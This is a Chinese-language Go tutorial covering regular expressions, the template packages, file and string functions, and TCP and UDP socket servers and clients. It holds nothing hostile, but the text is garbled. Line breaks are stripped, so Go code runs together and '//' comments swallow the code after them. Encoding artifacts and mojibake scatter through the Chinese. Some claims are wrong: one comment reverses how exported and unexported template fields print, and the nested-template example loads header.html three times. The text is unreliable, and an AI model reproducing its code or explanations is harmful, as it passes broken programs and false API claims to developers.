package mainimport ("fmt""os""regexp" )func main() {//判斷命令行輸入的參數(shù),需要通過這種方式運(yùn)行,go run ./match.go 1111 不能用IDE直接運(yùn)行,否則會(huì)沒有參數(shù)if len(os.Args) == 1 {fmt.Println("請(qǐng)輸入?yún)?shù)")os.Exit(1)} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {fmt.Println("數(shù)字")} else {fmt.Println("不是數(shù)字")}MatchString判斷輸入的字符串是否符合標(biāo)準(zhǔn)var ip string = "127.0.0.1"//var ip string = "127.0.0.1.11"//if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {// fmt.Println("IP地址有誤")//} else {// fmt.Println("IP地址正確")//} }通過正則替換內(nèi)容
上面的match只能用來(lái)驗(yàn)證是否存在,不能用來(lái)獲取字符串
要獲取字符串要用到replace相關(guān)的正則函數(shù)
首先要使用regexp.Compile()編譯正則表達(dá)式,但這不是必須的,不過這樣可以加快運(yùn)行速度
編譯正則表達(dá)式有下面幾個(gè)方法:
一般我們只用Compile
//CompilePOSIX和Compile的不同點(diǎn)在于POSIX必須使用POSIX語(yǔ)法,Linux/Unix下用的POSIX語(yǔ)法 //前綴有Must的函數(shù)表示，在解析正則語(yǔ)法的時(shí)候，如果匹配模式串不滿足正確的語(yǔ)法則直接panic，而不加Must的則只是返回錯(cuò)誤 func Compile(expr string) (*Regexp, error) func CompilePOSIX(expr string) (*Regexp, error) func MustCompile(str string) *Regexp func MustCompilePOSIX(str string) *Regexp替換案例
package mainimport ("fmt""io/ioutil""net/http""regexp""strings" )//這里來(lái)一個(gè)簡(jiǎn)單的小爬蟲 func main() {//請(qǐng)求頁(yè)面response, err := http.Get("http://www.baidu.com")if err != nil {panic(err)}//關(guān)閉資源defer response.Body.Close()//獲取頁(yè)面內(nèi)容body, err := ioutil.ReadAll(response.Body)if err != nil {panic(err)}//將body轉(zhuǎn)換為字符串content := string(body)//將所有的HTML轉(zhuǎn)換為大寫re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")//ReplaceAllStringFunc可以接受一個(gè)回調(diào)函數(shù)進(jìn)去src := re.ReplaceAllStringFunc(content, strings.ToUpper)fmt.Println(src)//去掉scriptre, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")//ReplaceAllString不接收回調(diào)函數(shù),只能純粹的替換src1 := re.ReplaceAllString(content, "")fmt.Println(src1)//去掉stylere, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src2 := re.ReplaceAllString(content, "")fmt.Println(src2)//去除所有尖括號(hào)內(nèi)的HTML代碼，并換成換行符re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")src3 := re.ReplaceAllString(content, "\n")fmt.Println(src3)//去除連續(xù)的換行符re, _ = regexp.Compile("\\s{2,}")src4 := re.ReplaceAllString(content, "\n")fmt.Println(src4)}通過正則查找內(nèi)容
常用查找函數(shù)
下面所有函數(shù)返回的都是utf8的編號(hào),需要string()來(lái)轉(zhuǎn)換
//查找匹配到的第一個(gè) func (re *Regexp) Find(b []byte) []byte //返回一個(gè)多維數(shù)組,查找符合正則的所有的slice,n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度 func (re *Regexp) FindAll(b []byte, n int) [][]byte //返回一個(gè)多維數(shù)組,查找符合條件的所有內(nèi)容的下標(biāo),返回開始和結(jié)束位置的一個(gè)slice //n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度 func (re *Regexp) FindAllIndex(b []byte, n int) [][]int //查找所有符合條件的子匹配,返回一個(gè)多維數(shù)組 //n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度 func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte //查找所有符合條件的子匹配的index下標(biāo),返回一個(gè)多維數(shù)組 //n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度 func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int //查找符合條件的內(nèi)容的的index下標(biāo),返回開始位置和結(jié)束位置的一個(gè)slice func (re *Regexp) FindIndex(b []byte) (loc []int) //返回一個(gè)多維數(shù)組，第一個(gè)元素是匹配的全部元素，第二個(gè)元素是第一個(gè)()里面的，第三個(gè)是第二個(gè)()里面的 func (re *Regexp) FindSubmatch(b []byte) [][]byte //查找符合條件的內(nèi)容的子匹配的的index下標(biāo),不過這里是匹配()內(nèi)的,返回開始位置和結(jié)束位置的一個(gè)slice func (re *Regexp) FindSubmatchIndex(b []byte) []int匹配案例
package mainimport ("fmt""regexp" )func main() {str := "we are chinese"//編譯正則表達(dá)式re, _ := regexp.Compile("[a-z]{2,4}")//查找第一個(gè)匹配的one := re.Find([]byte(str))fmt.Println(string(one)) //如果不用string()會(huì)輸出utf8編號(hào),find正則返回的都是utf8編號(hào)//返回一個(gè)多維數(shù)組,查找符合正則的所有的slice,n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度all := re.FindAll([]byte(str), -1)fmt.Println(all) //因?yàn)榉祷氐臅r(shí)一個(gè)slice,所以不能用string()了,想轉(zhuǎn)換到話,需要遍歷或者用下標(biāo)//查找符合條件的內(nèi)容的的index下標(biāo),返回開始位置和結(jié)束位置的一個(gè)sliceindex := re.FindIndex([]byte(str))fmt.Println(index)//返回一個(gè)多維數(shù)組,查找符合條件的所有內(nèi)容的下標(biāo),返回開始和結(jié)束位置的一個(gè)slice//n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度allIndex := re.FindAllIndex([]byte(str), -1)fmt.Println(allIndex)//重新編譯一個(gè)新的正則表達(dá)式re1, _ := regexp.Compile("we(.*)ch(.*)")//返回一個(gè)多維數(shù)組，第一個(gè)元素是匹配的全部元素，第二個(gè)元素是第一個(gè)()里面的，第三個(gè)是第二個(gè)()里面的submatch := re1.FindSubmatch([]byte(str))fmt.Println(submatch)//查找符合條件的內(nèi)容的子匹配的的index下標(biāo),不過這里是匹配()內(nèi)的,返回開始位置和結(jié)束位置的一個(gè)slicesubmatchindex := re1.FindSubmatchIndex([]byte(str))fmt.Println(submatchindex)//查找所有符合條件的子匹配,返回一個(gè)多維數(shù)組//n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度submatchall := re1.FindAllSubmatch([]byte(str), -1)fmt.Println(submatchall)//查找所有符合條件的子匹配的index下標(biāo),返回一個(gè)多維數(shù)組//n小于0標(biāo)識(shí)返回全部符合條件的內(nèi)容的一個(gè)slice,否則返回指定的長(zhǎng)度submatchallindex := re1.FindAllSubmatchIndex([]byte(str), -1)fmt.Println(submatchallindex) }該函數(shù)主要用對(duì)內(nèi)容做追加補(bǔ)充
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte package mainimport ("fmt""regexp" )func main() {src := []byte(`call hello alicehello bobcall hello eve`)pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res := []byte{}for _, s := range pat.FindAllSubmatchIndex(src, -1) {fmt.Println(string(s[0]))// Expand 要配合 FindSubmatchIndex 一起使用。FindSubmatchIndex 在 src 中進(jìn)行// 查找，將結(jié)果存入 match 中。這樣就可以通過 src 和 match 得到匹配的字符串。// template 是替換內(nèi)容，可以使用分組引用符 $1、$2、$name 等。Expane 將其中的分// 組引用符替換為前面匹配到的字符串。然后追加到 dst 的尾部（dst 可以為空）。// 說(shuō)白了 Expand 就是一次替換過程，只不過需要 FindSubmatchIndex 的配合。res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)}fmt.Println(string(res)) }模板處理
這里說(shuō)的模板,指的是mvc結(jié)構(gòu)中的view層.簡(jiǎn)而言之,和PHP中的訪問->module->control->action->獲取view的感覺是一樣的.
如果是前后端分離的項(xiàng)目,這個(gè)就不用看了.
在訪問HTML情況下,用戶在訪問頁(yè)面時(shí)我們?cè)赼ction直接將用戶引導(dǎo)到靜態(tài)頁(yè)面即可.
但是如果頁(yè)面不是前后端分離的,而且頁(yè)面有很多數(shù)據(jù)從action打印,這時(shí)候就要用go中的template包來(lái)對(duì)模板內(nèi)容進(jìn)行處理
go模板使用
在go中,我們使用template包來(lái)對(duì)模板進(jìn)行處理
和其他語(yǔ)言一樣,都是要先獲取數(shù)據(jù),然后渲染到模板.
func handler(w http.ResponseWriter, r *http.Request) {t := template.New("some template") //創(chuàng)建一個(gè)模板t, _ = t.ParseFiles("views/welcome.html") //解析模板文件,必須要有文件存在user := GetUser() //獲取當(dāng)前用戶信息t.Execute(w, user) //執(zhí)行模板的merger操作 }下面我們?cè)诮酉聛?lái)的例子中都用遮掩的格式代碼
- 使用Parse代替ParseFiles，Parse可以直接測(cè)試一個(gè)字符串，而不需要額外的文件
- 不使用handler來(lái)寫演示代碼，而是每個(gè)測(cè)試一個(gè)main，方便測(cè)試
- 使用os.Stdout代替http.ResponseWriter，因?yàn)閛s.Stdout實(shí)現(xiàn)了io.Writer接口
模板中插入數(shù)據(jù)
字段操作
在go語(yǔ)言的模板中,同使用{{}}來(lái)包含需要再渲染時(shí)被替換的字段
如果模板中輸出{{.}}，這個(gè)一般應(yīng)用于字符串對(duì)象，默認(rèn)會(huì)調(diào)用fmt包輸出字符串的內(nèi)容,{{.}}表示當(dāng)前的對(duì)象,
如果要訪問當(dāng)前對(duì)象的字段通過{{.FieldName}}
注意：這個(gè)字段必須是可導(dǎo)出的公有的(字段首字母必須是大寫的),不然就會(huì)報(bào)錯(cuò)
package mainimport ("html/template""os" )type Person struct {UserName stringpassword string }func main() {創(chuàng)建一個(gè)模板t := template.New("fieldname example")//解析模板文件,t.Parse()處理的可以不是一個(gè)文件//要導(dǎo)出的字段必須是大寫的,否則顯示為空t, _ = t.Parse("hello {{.UserName}} {{.password}}!")p := Person{UserName: "this hello",password:"this password"}t.Execute(os.Stdout, p)//如果passowrd 為大寫 輸出 hello this hello//如果password為小寫 輸出 hello this hello this password! }輸出嵌套字段內(nèi)容
如果模板里還有對(duì)象需要遍歷的話,我們可以用{{with …}}…{{end}}和{{range …}}{{end}}來(lái)處理
- {{range}} 這個(gè)和Go語(yǔ)法里面的range類似，循環(huán)操作數(shù)據(jù)
- {{with}}操作是指當(dāng)前對(duì)象的值，類似上下文的概念
條件處理
這個(gè)沒什么好說(shuō)的,看案例吧
package mainimport ("os""text/template" )type Where struct {Any bool }func main() {//為ture,下面顯示if 部分,為false,下面顯示else部分whe := Where{Any: true}//新建一個(gè)模板tIfElse := template.New("template test")//這里的這個(gè)條件判斷就不說(shuō)了,一看就明白//must函數(shù)作用是檢測(cè)模板是否正確，例如大括號(hào)是否匹配，注釋是否正確的關(guān)閉，變量是否正確的書寫,如果有問題就會(huì)拋出一個(gè)panic同時(shí)提示哪一行錯(cuò)了什么tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if .Any}} if部分 {{else}} else部分.{{end}}\n"))tIfElse.Execute(os.Stdout, whe) }pipelines
go的pipe和Linux的，ls | grep "beego"功能一樣,用于過濾
{{. | html}}模板變量
有時(shí)候可能需要聲明一些局部變量,比如 with range if過程中申明局部變量，這個(gè)變量的作用域是{{end}}之前
//下面的$x就是變量 {{with $x := "output" | printf "%q"}}{{$x}}{{end}} {{with $x := "output"}}{{printf "%q" $x}}{{end}} {{with $x := "output"}}{{$x | printf "%q"}}{{end}}Must操作,檢測(cè)文本是否正確
模板包里面有一個(gè)函數(shù)Must，它的作用是檢測(cè)模板是否正確，例如大括號(hào)是否匹配，注釋是否正確的關(guān)閉，變量是否正確的書寫。用Must來(lái)判斷模板是否正確：
這也沒什么好說(shuō)的,看代碼吧
package mainimport ("text/template""os" )func main() {tOk := template.New("first")//一切正常,正常輸出mustOk := template.Must(tOk.Parse(" some static text /* and a comment */"))mustOk.Execute(os.Stdout, nil)tErr := template.New("check parse error with Must")//這里就會(huì)提示一個(gè)panic: template: check parse error with Must:1: unexpected "}" in operand//只要在{{ .Name}后面再加上一個(gè)}就可以修復(fù)mustErr := template.Must(tErr.Parse(" some static text {{ .Name}"))mustErr.Execute(os.Stdout, nil) }模板函數(shù)
go的模板是可以支持函數(shù)的,這里就不累述了.知道就行
嵌套模板
在平時(shí)開發(fā)中可能會(huì)遇到,模板嵌套的問題,比如頭部和尾部是一樣的,這時(shí)候就要進(jìn)行模板嵌套了.
所以我們可以定義成header、content、footer三個(gè)部分
其實(shí)這一塊沒什么新料,主要就是利用template.ParseFiles(),同時(shí)加載多個(gè)文件而已
聲明一個(gè)子模板
{{define "子模板名稱"}}內(nèi)容{{end}}通過如下方式來(lái)調(diào)用：
{{template "子模板名稱"}}嵌套案例
#文件結(jié)構(gòu) ~/go/src/web/template on master! ? 19:38:33 $ tree . ├── content.html ├── field.go ├── footer.html ├── header.html ├── multi.go ├── must.go ├── nest.go └── where.go0 directories, 8 files靜態(tài)頁(yè)面,放在三個(gè)文件中,分別叫做header.tmpl、content.tmpl、footer.tmpl
//header.tmpl {{define "header"}} <html> <head><title>演示信息</title> </head> <body> {{end}}//content.tmpl {{define "content"}} {{template "header"}} <h1>演示嵌套</h1> <ul><li>嵌套使用define定義子模板</li><li>調(diào)用使用template</li> </ul> {{template "footer"}} {{end}}//footer.tmpl {{define "footer"}} </body> </html> {{end}}go代碼
package mainimport ("fmt""os""text/template" )func main() {//將三個(gè)文件同時(shí)加載進(jìn)去s1, _ := template.ParseFiles("template/header.html", "template/header.html", "template/header.html")//打印header文件s1.ExecuteTemplate(os.Stdout, "header", nil)fmt.Println()//打印內(nèi)容文件s1.ExecuteTemplate(os.Stdout, "content", nil)fmt.Println()//打印注腳文件s1.ExecuteTemplate(os.Stdout, "footer", nil)fmt.Println()s1.Execute(os.Stdout, nil) }文件文件處理
目錄操作
文件操作的大多數(shù)函數(shù)都是在os包里面
os包中常用的的函數(shù)
- func Mkdir(name string, perm FileMode) error 創(chuàng)建名稱為name的目錄，權(quán)限設(shè)置是perm，例如0777
- func MkdirAll(path string, perm FileMode) error 根據(jù)path創(chuàng)建多級(jí)子目錄，例如astaxie/test1/test2。
- func Remove(name string) error 刪除名稱為name的目錄，當(dāng)目錄下有文件或者其他目錄時(shí)會(huì)出錯(cuò)
- func RemoveAll(path string) error 根據(jù)path刪除多級(jí)子目錄，如果path是單個(gè)名稱，那么該目錄下的子目錄全部刪除。
文件操作
新建文件
- func Create(name string) (file *File, err Error) 根據(jù)提供的文件名創(chuàng)建新的文件，返回一個(gè)文件對(duì)象，默認(rèn)權(quán)限是0666的文件，返回的文件對(duì)象是可讀寫的,文件已存在,會(huì)覆蓋文件。
- func NewFile(fd uintptr, name string) *File 根據(jù)文件描述符創(chuàng)建相應(yīng)的文件，返回一個(gè)文件對(duì)象,這個(gè)要用文件描述符,很麻煩
打開文件
- func Open(name string) (file *File, err Error) 該方法打開一個(gè)名稱為name的文件，但是是只讀方式，內(nèi)部實(shí)現(xiàn)其實(shí)調(diào)用了OpenFile。
- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) 打開名稱為name的文件，flag是打開的方式，只讀、讀寫等，perm是權(quán)限
寫文件
- func (file *File) Write(b []byte) (n int, err Error) 寫入byte類型的信息到文件
- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) 在指定位置開始寫入byte類型的信息
- func (file *File) WriteString(s string) (ret int, err Error) 寫入string信息到文件
讀文件
-
func (file *File) Read(b []byte) (n int, err Error) 讀取數(shù)據(jù)到b中
-
func (file *File) ReadAt(b []byte, off int64) (n int, err Error) 從off開始讀取數(shù)據(jù)到b中
刪除文件
刪除文件和刪除文件夾是同一個(gè)函數(shù)
- func Remove(name string) Error 調(diào)用該函數(shù)就可以刪除文件名為name的文件
字符串處理和轉(zhuǎn)換
主要是用Go標(biāo)準(zhǔn)庫(kù)中的strings和strconv兩個(gè)包中的函數(shù)
字符串操作
主要用strings包
- func Contains(s, substr string) bool 字符串s中是否包含substr，返回bool值
- func Join(a []string, sep string) string 字符串鏈接，把slice a通過sep鏈接起來(lái)
- func Index(s, sep string) int在字符串s中查找sep所在的位置，返回位置值，找不到返回-1
- func Repeat(s string, count int) string 重復(fù)s字符串count次，最后返回重復(fù)的字符串
- func Replace(s, old, new string, n int) string 在s字符串中，把old字符串替換為new字符串，n表示替換的次數(shù)，小于0表示全部替換
- func Split(s, sep string) []string 把s字符串按照sep分割，返回slice
- func Trim(s string, cutset string) string 在s字符串的頭部和尾部去除cutset指定的字符串
- func Fields(s string) []string 去除s字符串的空格符，并且按照空格分割返回slice
字符串轉(zhuǎn)換
字符串轉(zhuǎn)化的函數(shù)在strconv中
- Append 系列函數(shù)將整數(shù)等轉(zhuǎn)換為字符串后，添加到現(xiàn)有的字節(jié)數(shù)組中。
- Format 系列函數(shù)把其他類型的轉(zhuǎn)換為字符串
- Parse 系列函數(shù)把字符串轉(zhuǎn)換為其他類型
Web服務(wù)
目前主流的有如下幾種Web服務(wù)：REST、SOAP。不過現(xiàn)在已經(jīng)不再使用SOAP了,直接忽略即可.
-
REST請(qǐng)求是很直觀的，因?yàn)镽EST是基于HTTP協(xié)議的一個(gè)補(bǔ)充，他的每一次請(qǐng)求都是一個(gè)HTTP請(qǐng)求，然后根據(jù)不同的method來(lái)處理不同的邏輯，很多Web開發(fā)者都熟悉HTTP協(xié)議，所以學(xué)習(xí)REST是一件比較容易的事情。
-
SOAP是W3C在跨網(wǎng)絡(luò)信息傳遞和遠(yuǎn)程計(jì)算機(jī)函數(shù)調(diào)用方面的一個(gè)標(biāo)準(zhǔn)。但是SOAP非常復(fù)雜，其完整的規(guī)范篇幅很長(zhǎng)，而且內(nèi)容仍然在增加。
Socket編程
socket主要有兩種,TCP socket和UDP socket. 即基于TCP協(xié)議還是UDP協(xié)議.
目前主要使用IPV4,例如:127.0.0.1 172.122.121.111
下一代是IPV6,國(guó)內(nèi)正在大力推行,例如2002:c0e8:82e7:0:0:0:c0e8:82e7
Go支持的IP類型
go的net包中IP的類型定義如下:
type IP []bytenet包中有很多函數(shù)來(lái)操作IP,其中ParseIP(s string) IP 函數(shù)可以把一個(gè)IPV4或者IPV6地址轉(zhuǎn)換為IP類型,主要用來(lái)判斷是否是一個(gè)格式合法的IP地址
package mainimport ("os""fmt""net" )func main() {//獲得到參數(shù),[0]為文件路徑,[1]為輸入的第一個(gè)參數(shù),所以如果要帶參的話,數(shù)組最小也應(yīng)該是2個(gè)元素if len(os.Args) != 2 {fmt.Println("請(qǐng)輸入?yún)?shù)")os.Exit(1)}name := os.Args[1]//將IP換轉(zhuǎn)為IP類型,一般我們主要用來(lái)判斷該IP地址是否是一個(gè)格式合法的IP地址addr := net.ParseIP(name)if addr == nil {fmt.Println("IP地址有誤")} else {fmt.Println("輸入的IP地址是:", addr.String())fmt.Printf("%T-%v", addr.String(), addr.String())}os.Exit(0) } //~/go/src/web/socket on master! ? 2:42:36 //$ go run ip.go 127.0.0.1 //輸入的IP地址是: 127.0.0.1 //net.IP - 127.0.0.1%TCP Socket
很顯然go可以寫socket客戶端作為請(qǐng)求用,也可以寫服務(wù)端做推送用.
net包中有一個(gè)類型TCPConn,這個(gè)類型可以用來(lái)作為客戶端和服務(wù)端交互的通道,TCPConn可以用在客戶端和服務(wù)端來(lái)讀寫數(shù)據(jù).
主要用到的函數(shù)就是讀寫這兩個(gè):
// Write從連接中寫入數(shù)據(jù) // Write方法可能會(huì)在超過某個(gè)固定時(shí)間限制后超時(shí)返回錯(cuò)誤，該錯(cuò)誤的Timeout()方法返回真 `func (c *TCPConn) Write(b []byte) (int, error)` // Read從連接中讀取數(shù)據(jù) // Read方法可能會(huì)在超過某個(gè)固定時(shí)間限制后超時(shí)返回錯(cuò)誤，該錯(cuò)誤的Timeout()方法返回真 `func (c *TCPConn) Read(b []byte) (int, error)`TCPAddr類型,他標(biāo)識(shí)一個(gè)TCP的地址信息,定義如下
type TCPAddr struct {IP IPPort intZone string // IPv6 scoped addressing zone }go語(yǔ)言可以通過ResolveTCPAddr獲取一個(gè)TCPAddr
func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)- net參數(shù)是tcp4,tcp6,tcp中的任意一個(gè),分別表示TCP(IPv4-only), TCP(IPv6-only)或者TCP(IPv4, IPv6的任意一個(gè))。
- addr標(biāo)識(shí)域名或者IP地址
TCP client
通過net包中的DialTCP函數(shù)來(lái)簡(jiǎn)歷一個(gè)TCP連接,并返回一個(gè)TCPConn類型的對(duì)象.
當(dāng)連建立連接時(shí),服務(wù)器端也會(huì)創(chuàng)建一個(gè)同類型的對(duì)象,此時(shí)客戶端和服務(wù)端各自有一個(gè)TCPConn對(duì)象進(jìn)行數(shù)據(jù)交換.
func DialTCP(network string, laddr, raddr *TCPAddr) (*TCPConn, error)- net參數(shù)是"tcp4"、"tcp6"、"tcp"中的任意一個(gè)，分別表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一個(gè))
- laddr代表本機(jī)地址,一般直接設(shè)置為nil
- raddr標(biāo)識(shí)遠(yuǎn)程服務(wù)器地址
這里模擬一個(gè)基于HTTP協(xié)議的客戶端請(qǐng)求去連接一個(gè)Web服務(wù)端,http請(qǐng)求頭格式如下:
"HEAD / HTTP/1.0\r\n\r\n"從服務(wù)器介紹到的相應(yīng)信息可能如下
HTTP/1.0 302 Found Content-Length: 17931 Content-Type: text/html Date: Sun, 28 Jul 2017 18:57:44 GMT Etag: "54d97485-460b" Server: bfe/1.0.8.18客戶端請(qǐng)求案例,阻塞請(qǐng)求.
package mainimport ("fmt""io/ioutil""net""os" )func main() {//驗(yàn)證輸入的數(shù)據(jù)長(zhǎng)度if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "錯(cuò)誤的參數(shù): %s host:port ", os.Args[0])os.Exit(1)}//得到參數(shù)service := os.Args[1]//處理鏈接,得到一個(gè)TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//創(chuàng)建連接conn, err := net.DialTCP("tcp", nil, tcpAddr)checkError(err)//發(fā)送數(shù)據(jù)_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))checkError(err)//讀取通道中的信息result, err := ioutil.ReadAll(conn)checkError(err)//打印數(shù)據(jù)fmt.Println(string(result))os.Exit(0) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }TCP server
通過net包來(lái),創(chuàng)建一個(gè)服務(wù)器端程序,主要用下面兩個(gè)函數(shù)
//監(jiān)聽端口,返回網(wǎng)絡(luò)套接字 func ListenTCP(network string, laddr *TCPAddr) (*TCPListener, error) //等待并返回到偵聽到端口的下一個(gè)連接。 func Accept(l *TCPListener) Accept() (Conn, error)這里是一個(gè)簡(jiǎn)單的服務(wù)器程序,阻塞接收數(shù)據(jù),不能處理多個(gè)客戶端
package mainimport ("fmt""net""os""time" )func main() {service := ":7777"//激活句柄,處理鏈接,得到一個(gè)TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監(jiān)聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循環(huán)不斷的處理端口傳來(lái)的數(shù)據(jù)for {//接收通過端口接聽到的數(shù)據(jù)conn, err := listener.Accept()if err != nil {continue}//隨便訂的時(shí)間戳daytime := time.Now().String()//發(fā)送數(shù)據(jù)給客戶端conn.Write([]byte(daytime))conn.Close()} } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }利用goroutine優(yōu)化服務(wù)器代碼,可以同時(shí)處理多個(gè)客戶端請(qǐng)求
主要是通過將業(yè)務(wù)處理,分離到一個(gè)單數(shù)函數(shù)中,當(dāng)服務(wù)端通過監(jiān)聽接收到信息的時(shí)候,使用goroutine調(diào)用該函數(shù)進(jìn)行業(yè)務(wù)處理,進(jìn)而不阻塞進(jìn)程.
package mainimport ("fmt""net""os""time" )func main() {service := ":1200"//處理IP地址,得到得到一個(gè)TCPAddr類型的tcp ip地址信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監(jiān)聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//同樣,死循環(huán)處理端口傳來(lái)的數(shù)據(jù)for {//接收端口傳來(lái)的數(shù)據(jù)conn, err := listener.Accept()if err != nil {continue}//使用goroutine來(lái)用handleClient函數(shù)處理接收到的數(shù)據(jù)并返回?cái)?shù)據(jù)go handleClient(conn)} }func handleClient(conn net.Conn) {defer conn.Close()//隨便生成的時(shí)間格式daytime := time.Now().String()//發(fā)送數(shù)據(jù)conn.Write([]byte(daytime)) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }如果需要通過從客戶端發(fā)送不同的請(qǐng)求來(lái)獲取不同的時(shí)間格式，而且需要一個(gè)長(zhǎng)連接,這時(shí)候就需要用到了,控制TCP連接
TCP有很多連接控制函數(shù)，我們平常用到比較多的有如下幾個(gè)函數(shù)：
//設(shè)置建立連接的超時(shí)時(shí)間，客戶端和服務(wù)器端都適用，當(dāng)超過設(shè)置時(shí)間時(shí)，連接自動(dòng)關(guān)閉。 func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) //用來(lái)設(shè)置寫入/讀取一個(gè)連接的超時(shí)時(shí)間。當(dāng)超過設(shè)置時(shí)間時(shí)，連接自動(dòng)關(guān)閉。 func (c *TCPConn) SetReadDeadline(t time.Time) error func (c *TCPConn) SetWriteDeadline(t time.Time) error //設(shè)置keepAlive屬性，是操作系統(tǒng)層在tcp上沒有數(shù)據(jù)和ACK的時(shí)候，會(huì)間隔性的發(fā)送keepalive包，操作系統(tǒng)可以通過該包來(lái)判斷一個(gè)tcp連接是否已經(jīng)斷開，在windows上默認(rèn)2個(gè)小時(shí)沒有收到數(shù)據(jù)和keepalive包的時(shí)候人為tcp連接已經(jīng)斷開，這個(gè)功能和我們通常在應(yīng)用層加的心跳包的功能類似。 func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error服務(wù)端控制tcp連接,同時(shí)實(shí)現(xiàn)長(zhǎng)連接和不同參數(shù)不同處理的案例
package mainimport ("fmt""net""os""time""strings""strconv" )func main() {service := "172.16.8.7:1200"//設(shè)置IP信息,得到tcp ip地址的TCPAddr格式的信息tcpAddr, err := net.ResolveTCPAddr("tcp4", service)checkError(err)//監(jiān)聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)//死循環(huán),不停的監(jiān)聽端口for {//接收端口傳來(lái)的數(shù)據(jù)conn, err := listener.Accept()if err != nil {continue}//使用goroutine處理業(yè)務(wù)邏輯的函數(shù)go handleClient(conn)} }func handleClient(conn net.Conn) {//設(shè)置超時(shí)時(shí)間conn.SetReadDeadline(time.Now().Add(2 * time.Minute))//設(shè)置最大請(qǐng)求數(shù)據(jù)的長(zhǎng)度,防止洪水攻擊request := make([]byte, 128)defer conn.Close()clientDate := "這里是客戶端發(fā)送的數(shù)據(jù)";for {//從連接中讀取內(nèi)容read_len, err := conn.Read(request)if err != nil {fmt.Println(err)break}//如果返回內(nèi)容時(shí)的長(zhǎng)度是0,退出進(jìn)程if read_len == 0 {fmt.Println("請(qǐng)求的數(shù)據(jù)為空")break//如果返回時(shí)間,清除兩端的空格截取0-最后的內(nèi)容轉(zhuǎn)換為字符串后==timestamp這個(gè)字符串,那么格式化時(shí)間,返回時(shí)間} else if strings.TrimSpace(string(request[:read_len])) == "timestamp" {daytime := strconv.FormatInt(time.Now().Unix(), 10)conn.Write([]byte(daytime))} else {//否則直接發(fā)送當(dāng)前時(shí)間戳daytime := time.Now().String()conn.Write([]byte(daytime))}fmt.Println("客戶端請(qǐng)求的數(shù)據(jù)長(zhǎng)度為:", read_len)//清空最后一次讀取的內(nèi)容,好讓新的數(shù)據(jù)寫入進(jìn)去request = make([]byte, 128)} }func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())os.Exit(1)} }UDP Socket
UDP Socket和TCP Socket不同的地方就是在服務(wù)器端處理多個(gè)客戶端請(qǐng)求數(shù)據(jù)包的方式不同,UDP缺少了對(duì)客戶端連接請(qǐng)求的Accept函數(shù)。其他基本幾乎一模一樣，只有TCP換成了UDP而已
UDP的幾個(gè)主要函數(shù)如下所示:
下面幾個(gè)函數(shù)基本上和TCP的功能是一模一樣的,不做過多介紹了就
//通過傳入IP地址,得到UDPAddr類型的UDP IP信息 func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) //建立一個(gè)UDP連接,返回UDPConn類型的對(duì)象 func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) //監(jiān)聽端口,返回一個(gè)網(wǎng)絡(luò)套接字,其實(shí)就是一個(gè)UDPConn類型的數(shù)據(jù) func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) //從UDP連接中讀取連接中的內(nèi)容 func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) //向UDP連接發(fā)送數(shù)據(jù) func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)UDP客戶端代碼,可見唯一不同的地方就是TCP換成了UDP
